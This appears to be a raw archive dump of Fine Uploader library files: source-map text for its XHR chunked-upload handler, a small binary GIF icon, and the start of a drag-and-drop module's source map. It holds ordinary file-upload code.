qq.traditional.AllChunksDoneAjaxRequester({\n            cors: spec.cors,\n            endpoint: spec.chunking.success.endpoint,\n            log: log\n        }),\n\n        createReadyStateChangedHandler = function(id, xhr) {\n            var promise = new qq.Promise();\n\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    var result = onUploadOrChunkComplete(id, xhr);\n\n                    if (result.success) {\n                        promise.success(result.response, xhr);\n                    }\n                    else {\n                        promise.failure(result.response, xhr);\n                    }\n                }\n            };\n\n            return promise;\n        },\n\n        getChunksCompleteParams = function(id) {\n            var params = spec.paramsStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n            params[spec.totalFileSizeName] = size;\n            params[spec.chunking.paramNames.totalParts] = handler._getTotalChunks(id);\n\n            return params;\n        },\n\n        isErrorUploadResponse = function(xhr, response) {\n            return qq.indexOf([200, 201, 202, 203, 204], xhr.status) < 0 ||\n                !response.success ||\n                response.reset;\n        },\n\n        onUploadOrChunkComplete = function(id, xhr) {\n            var response;\n\n            log(\"xhr - server response received for \" + id);\n            log(\"responseText = \" + xhr.responseText);\n\n            response = parseResponse(true, xhr);\n\n            return {\n                success: !isErrorUploadResponse(xhr, response),\n                response: response\n            };\n        },\n\n        // If this is an upload response, we require a JSON payload, otherwise, it is optional.\n        parseResponse = function(upload, xhr) {\n            var response = {};\n\n            try {\n                log(qq.format(\"Received response status {} with body: {}\", xhr.status, xhr.responseText));\n                response = qq.parseJson(xhr.responseText);\n            }\n            catch (error) {\n                upload && log(\"Error when attempting to parse xhr response text (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        },\n\n        sendChunksCompleteRequest = function(id) {\n            var promise = new qq.Promise();\n\n            allChunksDoneRequester.complete(\n                    id,\n                    handler._createXhr(id),\n                    getChunksCompleteParams(id),\n                    spec.customHeaders.get(id)\n                )\n                .then(function(xhr) {\n                    promise.success(parseResponse(false, xhr), xhr);\n                }, function(xhr) {\n                    promise.failure(parseResponse(false, xhr), xhr);\n                });\n\n            return promise;\n        },\n\n        setParamsAndGetEntityToSend = function(params, xhr, fileOrBlob, id) {\n            var formData = new FormData(),\n                method = spec.method,\n                endpoint = spec.endpointStore.get(id),\n                name = getName(id),\n                size = getSize(id);\n\n            params[spec.uuidName] = getUuid(id);\n            params[spec.filenameParam] = name;\n\n            if (multipart) {\n                params[spec.totalFileSizeName] = size;\n            }\n\n            //build query string\n            if (!spec.paramsInBody) {\n                if (!multipart) {\n                    params[spec.inputName] = name;\n                }\n                endpoint = qq.obj2url(params, endpoint);\n            }\n\n            xhr.open(method, endpoint, true);\n\n            if (spec.cors.expected && spec.cors.sendCredentials) {\n                xhr.withCredentials = true;\n            }\n\n            if (multipart) {\n                if (spec.paramsInBody) {\n                    qq.obj2FormData(params, formData);\n                }\n\n                formData.append(spec.inputName, fileOrBlob);\n                return formData;\n            }\n\n            return fileOrBlob;\n        },\n\n        setUploadHeaders = function(id, xhr) {\n            var extraHeaders = spec.customHeaders.get(id),\n                fileOrBlob = handler.getFile(id);\n\n            xhr.setRequestHeader(\"Accept\", \"application/json\");\n            xhr.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n            xhr.setRequestHeader(\"Cache-Control\", \"no-cache\");\n\n            if (!multipart) {\n                xhr.setRequestHeader(\"Content-Type\", \"application/octet-stream\");\n                //NOTE: return mime type in xhr works on chrome 16.0.9 firefox 11.0a2\n                xhr.setRequestHeader(\"X-Mime-Type\", fileOrBlob.type);\n            }\n\n            qq.each(extraHeaders, function(name, val) {\n                xhr.setRequestHeader(name, val);\n            });\n        };\n\n    qq.extend(this, {\n        uploadChunk: function(id, chunkIdx, resuming) {\n            var chunkData = handler._getChunkData(id, chunkIdx),\n                xhr = handler._createXhr(id, chunkIdx),\n                size = getSize(id),\n                promise, toSend, params;\n\n            promise = createReadyStateChangedHandler(id, xhr);\n            handler._registerProgressHandler(id, chunkIdx, chunkData.size);\n            params = spec.paramsStore.get(id);\n            addChunkingSpecificParams(id, params, chunkData);\n\n            if (resuming) {\n                params[spec.resume.paramNames.resuming] = true;\n            }\n\n            toSend = setParamsAndGetEntityToSend(params, xhr, chunkData.blob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        },\n\n        uploadFile: function(id) {\n            var fileOrBlob = handler.getFile(id),\n                promise, xhr, params, toSend;\n\n            xhr = handler._createXhr(id);\n            handler._registerProgressHandler(id);\n            promise = createReadyStateChangedHandler(id, xhr);\n            params = spec.paramsStore.get(id);\n            toSend = setParamsAndGetEntityToSend(params, xhr, fileOrBlob, id);\n            setUploadHeaders(id, xhr);\n            xhr.send(toSend);\n\n            return promise;\n        }\n    });\n\n    qq.extend(this, new qq.XhrUploadHandler({\n        options: qq.extend({namespace: \"traditional\"}, spec),\n        proxy: qq.extend({getEndpoint: spec.endpointStore.get}, proxy)\n    }));\n\n    qq.override(this, function(super_) {\n        return {\n            finalizeChunks: function(id) {\n                if (spec.chunking.success.endpoint) {\n                    return sendChunksCompleteRequest(id);\n                }\n                else {\n                    return super_.finalizeChunks(id, qq.bind(parseResponse, this, true));\n                }\n            }\n        };\n    });\n};\n","/*globals qq*/\n/**\n * Ajax requester used to send a POST to a traditional endpoint once all chunks for a specific file have uploaded\n * successfully.\n *\n * @param o Options from the caller - will override the defaults.\n * @constructor\n */\nqq.traditional.AllChunksDoneAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        method = \"POST\",\n        options = {\n            cors: {\n                allowXdr: false,\n                expected: false,\n                sendCredentials: false\n            },\n            endpoint: null,\n            log: function(str, level) {}\n        },\n        promises = {},\n        endpointHandler = {\n            get: function(id) {\n                return options.endpoint;\n            }\n        };\n\n    qq.extend(options, o);\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [method],\n        method: method,\n        endpointStore: endpointHandler,\n        allowXRequestedWithAndCacheControl: false,\n        cors: options.cors,\n        log: options.log,\n        onComplete: function(id, xhr, isError) {\n            var promise = promises[id];\n\n            delete promises[id];\n\n            if (isError) {\n                promise.failure(xhr);\n            }\n            else {\n                promise.success(xhr);\n            }\n        }\n    }));\n\n    qq.extend(this, {\n        complete: function(id, xhr, params, headers) {\n            var promise = new qq.Promise();\n\n            options.log(\"Submitting All Chunks Done request for \" + id);\n\n            promises[id] = promise;\n\n            requester.initTransport(id)\n                .withParams(params)\n                .withHeaders(headers)\n                .send(xhr);\n\n            return promise;\n        }\n    });\n};\n"]}js/fileupload/edit.gif000060400000000226150710775200010720 0ustar00GIF89a�sss���fff��奥�MMM�����̙�����YYY@@@������333���!�,C��I�H4���R4K�e��Zj6��]�t��U��@�ǣ
]qr� @
��0,)��
$Y��;js/fileupload/dnd.min.js.map000060400000236645150710775200011765 0ustar00{"version":3,"sources":["?","../client/js/util.js","../client/js/export.js","../client/js/version.js","../client/js/features.js","../client/js/promise.js","../client/js/dnd.js"],"names":["global","qq","element","hide","style","display","this","attach","type","fn","addEventListener","attachEvent","detach","removeEventListener","detachEvent","contains","descendant","compareDocumentPosition","insertBefore","elementB","parentNode","remove","removeChild","css","styles","Error","opacity","filter","Math","round","extend","hasClass","name","considerParent","re","RegExp","test","className","addClass","removeClass","replace","getByClass","first","candidates","result","querySelector","querySelectorAll","getElementsByTagName","each","idx","val","push","getFirstByClass","children","child","firstChild","nodeType","nextSibling","setText","text","innerText","textContent","clearText","hasAttribute","attrName","attrVal","exec","getAttribute","undefined","canvasToBlob","canvas","mime","quality","dataUriToBlob","toDataURL","dataUri","arrayBuffer","byteString","intArray","mimeString","createBlob","data","BlobBuilder","window","WebKitBlobBuilder","MozBlobBuilder","MSBlobBuilder","blobBuilder","append","getBlob","Blob","split","indexOf","atob","decodeURI","ArrayBuffer","length","Uint8Array","character","charCodeAt","log","message","level","console","isObject","variable","Object","prototype","toString","call","isFunction","isArray","value","buffer","constructor","isItemList","maybeItemList","isNodeList","maybeNodeList","item","namedItem","isString","maybeString","trimStr","string","String","trim","format","str","args","Array","slice","arguments","newStr","nextIdxToReplace","strBefore","substring","strAfter","isFile","maybeFile","File","isFileList","maybeFileList","FileList","isFileOrInput","maybeFileOrInput","isInput","maybeInput","notFile","evaluateType","normalizedType","toLowerCase","HTMLInputElement","tagName","isBlob","maybeBlob","isXhrUploadSupported","input","document","createElement","multiple","FormData","createXhrInstance","upload","XMLHttpRequest","ActiveXObject","error","isFolderDropSupported","dataTransfer","items","webkitGetAsEntry","isFileChunkingSupported","androidStock","webkitSlice","mozSlice","sliceBlob","fileOrBlob","start","end","slicer","arrayBufferToHex","bytesAsHex","bytes","byt","byteAsHexStr","readBlobToHex","blob","startOffset","initialBlob","fileReader","FileReader","promise","Promise","onload","success","onerror","failure","readAsArrayBuffer","second","extendNested","prop","override","target","sourceFn","super_","source","srcPropName","srcPropVal","arr","elt","from","len","hasOwnProperty","getUniqueId","c","r","random","v","ie","navigator","userAgent","ie7","ie8","ie10","ie11","edge","safari","vendor","chrome","opera","firefox","windows","platform","android","ios6","ios","ios7","ios8","ios800","iosChrome","iosSafari","iosSafariWebView","preventDefault","e","returnValue","toElement","div","html","innerHTML","iterableItem","callback","keyOrIndex","retVal","Storage","key","getItem","charAt","bind","oldFunc","context","newArgs","concat","apply","obj2url","obj","temp","prefixDone","uristrings","prefix","add","nextObj","i","nextTemp","encodeURIComponent","join","obj2FormData","formData","arrayKeyName","obj2Inputs","form","setAttribute","appendChild","parseJson","json","JSON","parse","eval","getExtension","filename","extIdx","lastIndexOf","substr","getFilename","blobOrFileInput","fileName","DisposeSupport","disposers","dispose","disposer","shift","addDisposer","disposeFunction","define","amd","module","exports","version","supportedFeatures","testSupportsFileInputElement","tempInput","supported","disabled","ex","isChrome21OrHigher","match","isChrome14OrHigher","isCrossOriginXhrSupported","xhr","withCredentials","isXdrSupported","XDomainRequest","isCrossOriginAjaxSupported","isFolderSelectionSupported","webkitdirectory","isLocalStorageSupported","localStorage","setItem","isDragAndDropSupported","span","supportsUploading","supportsUploadingBlobs","supportsFileDrop","supportsAjaxFileUploading","supportsFolderDrop","supportsChunking","supportsResume","supportsUploadViaPaste","supportsUploadCors","supportsDeleteFileXdr","supportsDeleteFileCorsXhr","supportsDeleteFileCors","supportsFolderSelection","supportsImagePreviews","supportsUploadProgress","postMessage","ajaxUploading","blobUploading","canDetermineSize","chunking","deleteFileCors","deleteFileCorsXdr","deleteFileCorsXhr","dialogElement","HTMLDialogElement","fileDrop","folderDrop","folderSelection","imagePreviews","imageValidation","itemSizeValidation","pause","progressBar","resume","scaling","tiffPreviews","unlimitedScaledImageSize","uploading","uploadCors","uploadCustomHeaders","uploadNonMultipart","uploadViaPaste","isGenericPromise","maybePromise","then","successArgs","failureArgs","successCallbacks","failureCallbacks","doneCallbacks","state","onSuccess","onFailure","done","DragAndDrop","o","uploadDroppedFiles","files","uploadDropZone","filesAsArray","options","callbacks","dropLog","dropDisabled","processingDroppedFilesComplete","getElement","traverseFileTree","entry","parseEntryPromise","file","fullPath","indexOfNameInFullPath","qqPath","droppedFiles","fileError","code","isDirectory","getFilesInDirectory","entries","entriesLeft","reader","accumEntries","existingPromise","dirReader","createReader","readEntries","newEntries","setTimeout","handleDataTransfer","pendingFolderPromises","handleDataTransferPromise","processingDroppedFiles","allowMultipleItems","dropError","getAsFile","pop","setupDropzone","dropArea","dropZone","UploadDropZone","HIDE_ZONES_EVENT_NAME","onEnter","classes","dropActive","stopPropagation","onLeaveNotDescendants","onDrop","disposeSupport","HIDE_BEFORE_ENTER_ATTR","uploadDropZones","isFileDrag","dragEvent","fileDrag","types","leavingDocumentOut","relatedTarget","x","y","setupDragDrop","dropZones","dropZoneElements","maybeHideDropZones","HTMLElement","setupExtraDropzone","removeDropzone","dzs","splice","targetEl","errorSpecifics","dragoverShouldBeCanceled","disableDropOutside","dropOutsideDisabled","dropEffect","isValidFileDrag","effectTest","dt","isSafari","effectAllowed","isOrSetDropDisabled","isDisabled","preventDrop","triggerHidezonesEvent","triggerUsingOldApi","hideZonesEvent","createEvent","initEvent","CustomEvent","err","dispatchEvent","attachEvents","effect","onLeave","elementFromPoint","clientX","clientY"],"mappings":"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